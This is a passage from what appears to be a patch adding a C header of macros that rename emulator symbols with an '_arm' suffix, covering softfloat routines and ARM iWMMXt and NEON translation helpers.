float128_is_quiet_nan float128_is_quiet_nan_arm +#define float128_is_signaling_nan float128_is_signaling_nan_arm +#define float128_le float128_le_arm +#define float128_le_quiet float128_le_quiet_arm +#define float128_lt float128_lt_arm +#define float128_lt_quiet float128_lt_quiet_arm +#define float128_maybe_silence_nan float128_maybe_silence_nan_arm +#define float128_mul float128_mul_arm +#define float128_rem float128_rem_arm +#define float128_round_to_int float128_round_to_int_arm +#define float128_scalbn float128_scalbn_arm +#define float128_sqrt float128_sqrt_arm +#define float128_sub float128_sub_arm +#define float128ToCommonNaN float128ToCommonNaN_arm +#define float128_to_float32 float128_to_float32_arm +#define float128_to_float64 float128_to_float64_arm +#define float128_to_floatx80 float128_to_floatx80_arm +#define float128_to_int32 float128_to_int32_arm +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_arm +#define float128_to_int64 float128_to_int64_arm +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_arm +#define float128_unordered float128_unordered_arm +#define float128_unordered_quiet float128_unordered_quiet_arm +#define float16_default_nan float16_default_nan_arm +#define float16_is_quiet_nan float16_is_quiet_nan_arm +#define float16_is_signaling_nan float16_is_signaling_nan_arm +#define float16_maybe_silence_nan float16_maybe_silence_nan_arm +#define float16ToCommonNaN float16ToCommonNaN_arm +#define float16_to_float32 float16_to_float32_arm +#define float16_to_float64 float16_to_float64_arm +#define float32_abs float32_abs_arm +#define float32_add float32_add_arm +#define float32_chs float32_chs_arm +#define float32_compare float32_compare_arm +#define float32_compare_internal float32_compare_internal_arm +#define float32_compare_quiet float32_compare_quiet_arm +#define float32_default_nan float32_default_nan_arm +#define float32_div float32_div_arm +#define float32_eq float32_eq_arm +#define float32_eq_quiet float32_eq_quiet_arm +#define float32_exp2 float32_exp2_arm +#define float32_exp2_coefficients float32_exp2_coefficients_arm +#define float32_is_any_nan float32_is_any_nan_arm +#define float32_is_infinity float32_is_infinity_arm +#define float32_is_neg float32_is_neg_arm +#define float32_is_quiet_nan float32_is_quiet_nan_arm +#define float32_is_signaling_nan float32_is_signaling_nan_arm +#define float32_is_zero float32_is_zero_arm +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_arm +#define float32_le float32_le_arm +#define float32_le_quiet float32_le_quiet_arm +#define float32_log2 float32_log2_arm +#define float32_lt float32_lt_arm +#define float32_lt_quiet float32_lt_quiet_arm +#define float32_max float32_max_arm +#define float32_maxnum float32_maxnum_arm +#define float32_maxnummag float32_maxnummag_arm +#define float32_maybe_silence_nan float32_maybe_silence_nan_arm +#define float32_min float32_min_arm +#define float32_minmax float32_minmax_arm +#define float32_minnum float32_minnum_arm +#define float32_minnummag float32_minnummag_arm +#define float32_mul float32_mul_arm +#define float32_muladd float32_muladd_arm +#define float32_rem float32_rem_arm +#define float32_round_to_int float32_round_to_int_arm +#define float32_scalbn float32_scalbn_arm +#define float32_set_sign float32_set_sign_arm +#define float32_sqrt float32_sqrt_arm +#define float32_squash_input_denormal float32_squash_input_denormal_arm +#define float32_sub float32_sub_arm +#define float32ToCommonNaN float32ToCommonNaN_arm +#define float32_to_float128 float32_to_float128_arm +#define float32_to_float16 float32_to_float16_arm +#define float32_to_float64 float32_to_float64_arm +#define float32_to_floatx80 float32_to_floatx80_arm +#define float32_to_int16 float32_to_int16_arm +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_arm +#define float32_to_int32 float32_to_int32_arm +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_arm +#define float32_to_int64 float32_to_int64_arm +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_arm +#define float32_to_uint16 float32_to_uint16_arm +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_arm +#define float32_to_uint32 float32_to_uint32_arm +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_arm +#define float32_to_uint64 float32_to_uint64_arm +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_arm +#define float32_unordered float32_unordered_arm +#define float32_unordered_quiet float32_unordered_quiet_arm +#define float64_abs float64_abs_arm +#define float64_add float64_add_arm +#define float64_chs float64_chs_arm +#define float64_compare float64_compare_arm +#define float64_compare_internal float64_compare_internal_arm +#define float64_compare_quiet float64_compare_quiet_arm +#define float64_default_nan float64_default_nan_arm +#define float64_div float64_div_arm +#define float64_eq float64_eq_arm +#define float64_eq_quiet float64_eq_quiet_arm +#define float64_is_any_nan float64_is_any_nan_arm +#define float64_is_infinity float64_is_infinity_arm +#define float64_is_neg float64_is_neg_arm +#define float64_is_quiet_nan float64_is_quiet_nan_arm +#define float64_is_signaling_nan float64_is_signaling_nan_arm +#define float64_is_zero float64_is_zero_arm +#define float64_le float64_le_arm +#define float64_le_quiet float64_le_quiet_arm +#define float64_log2 float64_log2_arm +#define float64_lt float64_lt_arm +#define float64_lt_quiet float64_lt_quiet_arm +#define float64_max float64_max_arm +#define float64_maxnum float64_maxnum_arm +#define float64_maxnummag float64_maxnummag_arm +#define float64_maybe_silence_nan float64_maybe_silence_nan_arm +#define float64_min float64_min_arm +#define float64_minmax float64_minmax_arm +#define float64_minnum float64_minnum_arm +#define float64_minnummag float64_minnummag_arm +#define float64_mul float64_mul_arm +#define float64_muladd float64_muladd_arm +#define float64_rem float64_rem_arm +#define float64_round_to_int float64_round_to_int_arm +#define float64_scalbn float64_scalbn_arm +#define float64_set_sign float64_set_sign_arm +#define float64_sqrt float64_sqrt_arm +#define float64_squash_input_denormal float64_squash_input_denormal_arm +#define float64_sub float64_sub_arm +#define float64ToCommonNaN float64ToCommonNaN_arm +#define float64_to_float128 float64_to_float128_arm +#define float64_to_float16 float64_to_float16_arm +#define float64_to_float32 float64_to_float32_arm +#define float64_to_floatx80 float64_to_floatx80_arm +#define float64_to_int16 float64_to_int16_arm +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_arm +#define float64_to_int32 float64_to_int32_arm +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_arm +#define float64_to_int64 float64_to_int64_arm +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_arm +#define float64_to_uint16 float64_to_uint16_arm +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_arm +#define float64_to_uint32 float64_to_uint32_arm +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_arm +#define float64_to_uint64 float64_to_uint64_arm +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_arm +#define float64_trunc_to_int float64_trunc_to_int_arm +#define float64_unordered float64_unordered_arm +#define float64_unordered_quiet float64_unordered_quiet_arm +#define float_raise float_raise_arm +#define floatx80_add floatx80_add_arm +#define floatx80_compare floatx80_compare_arm +#define floatx80_compare_internal floatx80_compare_internal_arm +#define floatx80_compare_quiet floatx80_compare_quiet_arm +#define floatx80_default_nan floatx80_default_nan_arm +#define floatx80_div floatx80_div_arm +#define floatx80_eq floatx80_eq_arm +#define floatx80_eq_quiet floatx80_eq_quiet_arm +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_arm +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_arm +#define floatx80_le floatx80_le_arm +#define floatx80_le_quiet floatx80_le_quiet_arm +#define floatx80_lt floatx80_lt_arm +#define floatx80_lt_quiet floatx80_lt_quiet_arm +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_arm +#define floatx80_mul floatx80_mul_arm +#define floatx80_rem floatx80_rem_arm +#define floatx80_round_to_int floatx80_round_to_int_arm +#define floatx80_scalbn floatx80_scalbn_arm +#define floatx80_sqrt floatx80_sqrt_arm +#define floatx80_sub floatx80_sub_arm +#define floatx80ToCommonNaN floatx80ToCommonNaN_arm +#define floatx80_to_float128 floatx80_to_float128_arm +#define floatx80_to_float32 floatx80_to_float32_arm +#define floatx80_to_float64 floatx80_to_float64_arm +#define floatx80_to_int32 floatx80_to_int32_arm +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_arm +#define floatx80_to_int64 floatx80_to_int64_arm +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_arm +#define floatx80_unordered floatx80_unordered_arm +#define floatx80_unordered_quiet floatx80_unordered_quiet_arm +#define flush_icache_range flush_icache_range_arm +#define format_string format_string_arm +#define fp_decode_rm fp_decode_rm_arm +#define frame_dummy frame_dummy_arm +#define free_range free_range_arm +#define fstat64 fstat64_arm +#define futex_wait futex_wait_arm +#define futex_wake futex_wake_arm +#define gen_aa32_ld16s gen_aa32_ld16s_arm +#define gen_aa32_ld16u gen_aa32_ld16u_arm +#define gen_aa32_ld32u gen_aa32_ld32u_arm +#define gen_aa32_ld64 gen_aa32_ld64_arm +#define gen_aa32_ld8s gen_aa32_ld8s_arm +#define gen_aa32_ld8u gen_aa32_ld8u_arm +#define gen_aa32_st16 gen_aa32_st16_arm +#define gen_aa32_st32 gen_aa32_st32_arm +#define gen_aa32_st64 gen_aa32_st64_arm +#define gen_aa32_st8 gen_aa32_st8_arm +#define gen_adc gen_adc_arm +#define gen_adc_CC gen_adc_CC_arm +#define gen_add16 gen_add16_arm +#define gen_add_carry gen_add_carry_arm +#define gen_add_CC gen_add_CC_arm +#define gen_add_datah_offset gen_add_datah_offset_arm +#define gen_add_data_offset gen_add_data_offset_arm +#define gen_addq gen_addq_arm +#define gen_addq_lo gen_addq_lo_arm +#define gen_addq_msw gen_addq_msw_arm +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_arm +#define gen_arm_shift_im gen_arm_shift_im_arm +#define gen_arm_shift_reg gen_arm_shift_reg_arm +#define gen_bx gen_bx_arm +#define gen_bx_im gen_bx_im_arm +#define gen_clrex gen_clrex_arm +#define generate_memory_topology generate_memory_topology_arm +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_arm +#define gen_exception gen_exception_arm +#define gen_exception_insn gen_exception_insn_arm +#define gen_exception_internal gen_exception_internal_arm +#define gen_exception_internal_insn gen_exception_internal_insn_arm +#define gen_exception_return gen_exception_return_arm +#define gen_goto_tb gen_goto_tb_arm +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_arm +#define gen_helper_add_saturate gen_helper_add_saturate_arm +#define gen_helper_add_setq gen_helper_add_setq_arm +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_arm +#define gen_helper_clz32 gen_helper_clz32_arm +#define gen_helper_clz64 gen_helper_clz64_arm +#define gen_helper_clz_arm gen_helper_clz_arm_arm +#define gen_helper_cpsr_read gen_helper_cpsr_read_arm +#define gen_helper_cpsr_write gen_helper_cpsr_write_arm +#define gen_helper_crc32_arm gen_helper_crc32_arm_arm +#define gen_helper_crc32c gen_helper_crc32c_arm +#define gen_helper_crypto_aese gen_helper_crypto_aese_arm +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_arm +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_arm +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_arm +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_arm +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_arm +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_arm +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_arm +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_arm +#define gen_helper_double_saturate gen_helper_double_saturate_arm +#define gen_helper_exception_internal gen_helper_exception_internal_arm +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_arm +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_arm +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_arm +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_arm +#define gen_helper_get_user_reg gen_helper_get_user_reg_arm +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_arm +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_arm +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_arm +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_arm +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_arm +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_arm +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_arm +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_arm +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_arm +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_arm +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_arm +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_arm +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_arm +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_arm +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_arm +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_arm +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_arm +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_arm +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_arm +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_arm +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_arm +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_arm +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_arm +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_arm +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_arm +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_arm +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_arm +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_arm +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_arm +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_arm +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_arm +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_arm +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_arm +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_arm +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_arm +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_arm +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_arm +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_arm +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_arm +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_arm +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_arm +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_arm +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_arm +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_arm +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_arm +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_arm +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_arm +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_arm +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_arm +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_arm +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_arm +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_arm +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_arm +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_arm +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_arm +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_arm +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_arm +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_arm +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_arm +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_arm +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_arm +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_arm +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_arm +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_arm +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_arm +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_arm +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_arm +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_arm +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_arm +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_arm +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_arm +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_arm +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_arm +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_arm +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_arm +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_arm +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_arm +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_arm +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_arm +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_arm +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_arm +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_arm +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_arm +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_arm +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_arm +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_arm +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_arm +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_arm +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_arm +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_arm +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_arm +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_arm +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_arm +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_arm +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_arm +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_arm +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_arm +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_arm +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_arm +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_arm +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_arm +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_arm +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_arm +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_arm +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_arm +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_arm +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_arm +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_arm +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_arm +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_arm +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_arm +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_arm +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_arm +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_arm +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_arm +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_arm +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_arm +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_arm +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_arm +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_arm +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_arm +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_arm +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_arm +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_arm +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_arm +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_arm +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_arm +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_arm +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_arm +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_arm +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_arm +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_arm +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_arm +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_arm +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_arm +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_arm +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_arm +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_arm +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_arm +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_arm +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_arm +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_arm +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_arm +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_arm +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_arm +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_arm +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_arm +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_arm +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_arm +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_arm +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_arm +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_arm +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_arm +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_arm +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_arm +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_arm +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_arm +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_arm +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_arm +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_arm +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_arm +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_arm +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_arm +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_arm +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_arm +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_arm +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_arm +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_arm +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_arm +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_arm +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_arm +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_arm +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_arm +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_arm +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_arm +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_arm +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_arm +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_arm +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_arm +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_arm +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_arm +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_arm +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_arm +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_arm +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_arm +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_arm +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_arm +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_arm +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_arm +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_arm +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_arm +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_arm +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_arm +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_arm +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_arm +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_arm +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_arm +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_arm +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_arm +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_arm +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_arm +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_arm +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_arm +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_arm +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_arm +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_arm +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_arm +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_arm +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_arm +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_arm +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_arm +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_arm +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_arm +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_arm +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_arm +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_arm +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_arm +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_arm +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_arm +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_arm +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_arm +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_arm +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_arm +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_arm +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_arm +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_arm +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_arm +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_arm +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_arm +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_arm +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_arm +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_arm +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_arm +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_arm +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_arm +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_arm +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_arm +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_arm +#define gen_helper_neon_qrshl_u64 